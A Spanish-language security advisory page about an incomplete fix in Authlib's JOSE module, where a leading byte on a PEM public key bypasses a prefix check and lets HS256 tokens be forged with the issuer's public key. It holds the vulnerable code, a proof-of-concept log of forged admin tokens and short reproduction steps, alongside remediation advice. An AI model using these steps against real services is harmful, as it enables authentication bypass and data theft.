Alta

Corrección incompleta de confusión de algoritmos en Authlib permite falsificación HMAC con claves públicas prefijadas

  • Publicada: 22.10.2026
  • Actualizado: 31.10.2026 10:00

Resumen

OctKey.import_key() contiene la única protección que evita que una clave pública asimétrica se use como secreto HMAC en authlib.jose. Dicha protección es raw_key.startswith(POSSIBLE_UNSAFE_KEYS) —anclada en el byte 0—, mientras que el cargador que procesa los mismos bytes en la ruta asimétrica (cryptography.hazmat.primitives.serialization.load_pem_public_key / load_pem_x509_certificate) omite cualquier contenido previo a la línea -----BEGIN. Por lo tanto, una clave pública PEM o un certificado X.509 que contenga un solo byte inicial —un salto de línea, un espacio, cuatro espacios de sangría, un BOM UTF-8 o una línea de comentario— no se reconoce, pasa el filtro y se convierte en el secreto HMAC. Un atacante que posea únicamente la clave pública del emisor puede entonces forjar un token HS256 con notificaciones (claims) arbitrarias que jwt.decode() acepta como auténtico.

Se trata de una corrección incompleta de CVE-2024-37568 / GHSA-5357-c2jx-v7qh. La solución de ese aviso es exactamente esta protección (git log -S 'POSSIBLE_UNSAFE_KEYS' -- authlib/jose/rfc7518/oct_key.py devuelve un único commit, 3bea812 "fix: prevent OctKey to import ssh/rsa/pem keys", en referencia al issue #654), y el ataque original vuelve a funcionar sin cambios siempre que el PEM almacenado no comience en el desplazamiento 0.

Reproducido de extremo a extremo en 1.8.0, la versión más reciente (publicada el 2026-08-30), y en origin/main (c529a61), con cryptography 50.0.2.

Condiciones previas

Ambas son propiedades del despliegue; ninguna está bajo control del atacante en el momento de la solicitud, y el atacante no necesita secretos ni interacción del usuario.

  1. La parte usuaria (relying party) utiliza el objeto documentado a nivel de módulo jwt. from authlib.jose import jwt se construye en authlib/jose/__init__.py:55-72 con la lista completa ["HS256","HS384","HS512","RS256",...,"EdDSA"], y JsonWebToken.decode (authlib/jose/rfc7519/jwt.py:80) no expone ningún parámetro algorithms, por lo que quien llama al objeto documentado no tiene forma de restringirla. Este es el primer ejemplo de código en docs/jose/jwt.rst:21-31.

    Este riesgo ya está documentado: docs/jose/jwt.rst:73-79 indica "This decoding method is insecure. By default jwt.decode parses the alg header. This allows symmetric macs and asymmetric signatures.", y docs/jose/jwt.rst:94-98 indica "You should never combine symmetric (HS) and asymmetric (RS, ES, PS) signature schemes." El punto de este informe no es que exista la lista mixta, sino que la protección oct_key.py:81 implementada precisamente para mitigar ese riesgo documentado no se cumple.

  2. La clave de verificación se pasa como texto PEM/certificado cuyos bytes no comienzan en el desplazamiento 0 con -----BEGIN . Se confirmó la falsificación en cada una de las siguientes formas, y cada una de ellas sigue verificando un token RS256/ES256 auténtico con los mismos bytes, por lo que nada en el despliegue parece roto:

    • un salto de línea inicial —lo que produce un literal de Python con triples comillas
    • un espacio inicial
    • sangría de cuatro espacios —un bloque de configuración YAML/JSON/TOML indentado
    • un BOM UTF-8 —un artefacto de editores de Windows
    • una línea de comentario inicial
    • todo lo anterior aplicado a un PEM X.509 CERTIFICATE en lugar de un PEM PUBLIC KEY

    Un blob DER SPKI sin procesar también elude la protección, pero DER no puede usarse para una verificación asimétrica genuina mediante esta ruta, por lo que se excluye como configuración no desplegable y se menciona únicamente como prueba adicional de la discrepancia entre el reconocedor y el cargador.

Detalles

authlib/jose/rfc7518/oct_key.py:10-17

python
POSSIBLE_UNSAFE_KEYS = (
    b"-----BEGIN ",
    b"---- BEGIN ",
    b"ssh-rsa ",
    b"ssh-dss ",
    b"ssh-ed25519 ",
    b"ecdsa-sha2-",
)

authlib/jose/rfc7518/oct_key.py:78-84

python
raw_key = to_bytes(raw)

# security check
if raw_key.startswith(POSSIBLE_UNSAFE_KEYS):
    raise ValueError("This key may not be safe to import")

key = cls(raw_key=raw_key, options=options)

bytes.startswith está anclado. El cargador en la ruta asimétrica no lo está: authlib/jose/rfc7517/_cryptography_key.py:22-29 llama a load_pem_public_key / load_pem_x509_certificate, y ambos escanean hacia adelante en busca del encabezado blindado (armour header). Por lo tanto, el conjunto de cadenas de bytes que rechaza el reconocedor es estrictamente menor que el conjunto que acepta el cargador, y la diferencia es explotable.

Alcance para quien llama al objeto documentado:

  • authlib/jose/rfc7518/jws_algs.py:59 — HMACAlgorithm.prepare_key(raw_data) devuelve OctKey.import_key(raw_data); este es todo el manejo de claves HMAC.
  • authlib/jose/rfc7519/jwt.py:80 — JsonWebToken.decode(self, s, key, claims_cls=None, claims_options=None, claims_params=None); el algoritmo proviene del encabezado del token y solo se verifica contra la lista de la instancia.
  • authlib/jose/__init__.py:55-72 — esa lista contiene tanto HS* como RS*/ES*/PS*/EdDSA.

Por lo tanto, oct_key.py:81 es lo único que se interpone entre una lista de permitidos mixta y el uso de la clave pública como secreto HMAC, y se elude mediante un solo byte inicial.

PoC

poc-authlib-e2e-http.py levanta una API de Flask cuya única autenticación es la documentada en jwt.decode(token, PUBLIC_KEY), donde PUBLIC_KEY es la clave pública RSA del emisor incrustada como un literal de Python con triples comillas (por lo tanto, con un salto de línea inicial). Al atacante se le proporciona únicamente esa clave pública.

authlib=1.8.0 cryptography=50.0.2 flask=3.1.3
guard  = authlib/jose/rfc7518/oct_key.py:81   raw_key.startswith(POSSIBLE_UNSAFE_KEYS)
call   = authlib/jose/rfc7519/jwt.py:80       JsonWebToken.decode(s, key)  [no `algorithms` param]
algs   = authlib/jose/__init__.py:55+         module-level jwt = JsonWebToken([HS256..RS256..ES256..])

[baseline 1] genuine RS256 token, role=user            -> (403, '{"error":"not admin","sub":"alice"}')
[baseline 2] genuine RS256 token, role=admin           -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"root"}')
[CONTROL 1 ] payload tampered, RS256 sig kept          -> (401, '{"error":"BadSignatureError: bad_signature: "}')
[CONTROL 2 ] HS256 forged with CANONICAL pubkey        -> BLOCKED at key import: ValueError: This key may not be safe to import
[CONTROL 3 ] JsonWebToken(['RS256']) vs forged token   -> REJECTED: UnsupportedAlgorithmError

ATTACKER INPUT: only IDP_PUB_CANONICAL (public by definition), no private key.
forged token header: {'alg': 'HS256', 'typ': 'JWT'}
[ATTACK    ] HS256 forged with the PUBLIC key          -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"attacker"}')

Los tres controles demuestran que la protección sí funciona con un PEM canónico (por lo que el byte inicial es determinante), que la verificación de firma ordinaria sigue intacta y que fijar el algoritmo es una mitigación efectiva.

Matriz por formato, para ambos tipos de clave, con un control que demuestra que la verificación asimétrica genuina sigue teniendo éxito con exactamente los mismos bytes:

### RSA-2048/RS256
  canonical PEM  (CONTROL A)   loader=load_pem_public_key  startswith_guard=True  RS/ES-verify=OK   BLOCKED:ValueError
  indented PEM   (4 spaces)    loader=load_pem_public_key  startswith_guard=False RS/ES-verify=OK   FORGED sub=superadmin role=admin
  UTF-8 BOM prefix             loader=load_pem_public_key  startswith_guard=False RS/ES-verify=OK   FORGED sub=superadmin role=admin
  leading comment line         loader=load_pem_public_key  startswith_guard=False RS/ES-verify=OK   FORGED sub=superadmin role=admin
  leading blank line           loader=load_pem_public_key  startswith_guard=False RS/ES-verify=OK   FORGED sub=superadmin role=admin
  leading single space         loader=load_pem_public_key  startswith_guard=False RS/ES-verify=OK   FORGED sub=superadmin role=admin
  DER (SPKI) bytes             loader=load_der_public_key  startswith_guard=False RS/ES-verify=FAIL  FORGED sub=superadmin role=admin
  [CONTROL C] JsonWebToken(['RS256']).decode(forged HS256) -> REJECTED:UnsupportedAlgorithmError

### EC-P256/ES256
  identical results for all seven rows

Same five leading-byte forms applied to an X.509 CERTIFICATE PEM: also FORGED, RS256-verify=OK.

Pasos para reproducir

  1. pip install authlib==1.8.0 cryptography flask requests
  2. Genere un par de claves RSA-2048; serialice la clave pública a PEM y anteponga un salto de línea (o aplique sangría, anteponga un BOM o una línea de comentario).
  3. Confirme que authlib.jose.rfc7518.oct_key.POSSIBLE_UNSAFE_KEYS no coincide con esos bytes con startswith, mientras que cryptography.hazmat.primitives.serialization.load_pem_public_key los carga.
  4. from authlib.jose import jwt y luego tok = jwt.encode({"alg":"HS256"}, {"sub":"attacker","role":"admin"}, mutated_pem)
  5. jwt.decode(tok, mutated_pem) — la verificación se realiza con éxito y se devuelven las notificaciones (claims).

Impacto

Evasión de la verificación de firmas criptográficas que conduce a una elusión de autenticación (CWE-347, confusión de algoritmo). Un atacante no autenticado que solo conoce la clave pública de verificación del emisor —pública por definición, normalmente servida en /.well-known/jwks.json o en metadatos del IdP— falsifica tokens con notificaciones arbitrarias, incluyendo roles administrativos y sujetos arbitrarios. En la PoC, esto genera un HTTP 200 y los secretos de administración de la aplicación para sub=attacker.

Authlib registró 103,356,930 descargas de PyPI en el último mes (pypistats /api/packages/authlib/recent, leído 2026-10-01), motivo por el cual reporto una elusión de la protección y no solo el riesgo documentado que esta debía cubrir.

Dos notas para la clasificación, en aras de la exhaustividad:

  • authlib.jose emite AuthlibDeprecationWarning ("please use joserfc instead. It will be compatible before version 2.0.0"). Está obsoleto pero todavía se distribuye, aún está documentado en docs/jose/jwt.rst y mantiene el volumen de descargas indicado anteriormente.
  • joserfc no se ve afectado por este mecanismo. Se verificó 1.7.5: las claves llevan un kty explícito en el modelo de datos, por lo que jwt.decode con un RSAKey/ECKey y alg=HS256 genera InvalidKeyTypeError en cada una de las siete formas aceptadas por el cargador. Tipificar la clave en lugar de inspeccionar sus bytes es lo que hace que esta clase de vulnerabilidad no sea representable allí.

Sugerencias de remediación

Cualquiera de estas opciones cierra la clase de vulnerabilidad en lugar de solo un formato de bytes adicional:

  1. Determinar la familia de la clave por tipo, no por bytes. Intente ejecutar load_pem_public_key / load_pem_x509_certificate / load_ssh_public_key / load_der_public_key en el candidato y rechácelo como clave oct si cualquiera de ellos tiene éxito. Este es el enfoque que inmuniza a joserfc y no puede desfasarse respecto al cargador, porque es el cargador.
  2. Si se debe mantener un reconocedor simple, conviértalo en un escaneo de subcadenas en lugar de una comprobación de prefijo anclada (any(m in raw_key for m in POSSIBLE_UNSAFE_KEYS)) y agregue los casos -----BEGIN CERTIFICATE----- y DER SubjectPublicKeyInfo. Esto es estrictamente más débil que (1): el reconocedor puede volver a desfasarse la próxima vez que cryptography se vuelva más tolerante.

De forma independiente a este informe: proporcionar a JsonWebToken.decode un parámetro algorithms= permitiría a quienes llaman al objeto documentado a nivel de módulo aplicar la mitigación recomendada en la documentación sin necesidad de construir un segundo JsonWebToken.

Créditos

Encontrado por zer0d4y5. Dispuesto a probar una rama de parche antes del lanzamiento.

Qué hacer

Actualice Authlib a la versión 1.9.0 o posterior. Como alternativa, implemente la validación por tipo de clave en lugar de inspeccionar bytes, o evite combinar algoritmos simétricos y asimétricos restringiendo explícitamente los algoritmos permitidos.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) authlib >= 1.3.1, < 1.9.0 1.9.0

Referencias

Puntuación CVSS 7.4/10
Vector CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Debilidad (CWE)
CWE-184, CWE-347
Plataforma
Python (PyPI)
Paquete
authlib
Publicada
22.10.2026
Actualizado
31.10.2026 10:00

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - PYSEC-2026-4355 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-7vr2-2fgp-9w7p - CC BY 4.0

Historial de vulnerabilidades: authlib

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (19) en el archivo
Entradas en total
19
Primera → última
06.2024 10.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 2
  • Alta 7
  • Media 9
  • Baja 1

Divulgaciones por año

  1. 2024: 1
  2. 2025: 3
  3. 2026: 15
Gravedad:
  1. Crítica · 9.1 CVE-2026-96760 < 1.9.0 1.9.0
  2. Corrección incompleta de confusión de algoritmos en Authlib permite falsificación HMAC con claves públicas prefijadas esta entrada
    Alta · 7.4 CVE-2026-114615 >= 1.3.1, < 1.9.0 1.9.0
  3. Crítica · 9.1 CVE-2026-27962 < 1.6.9 1.6.9

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.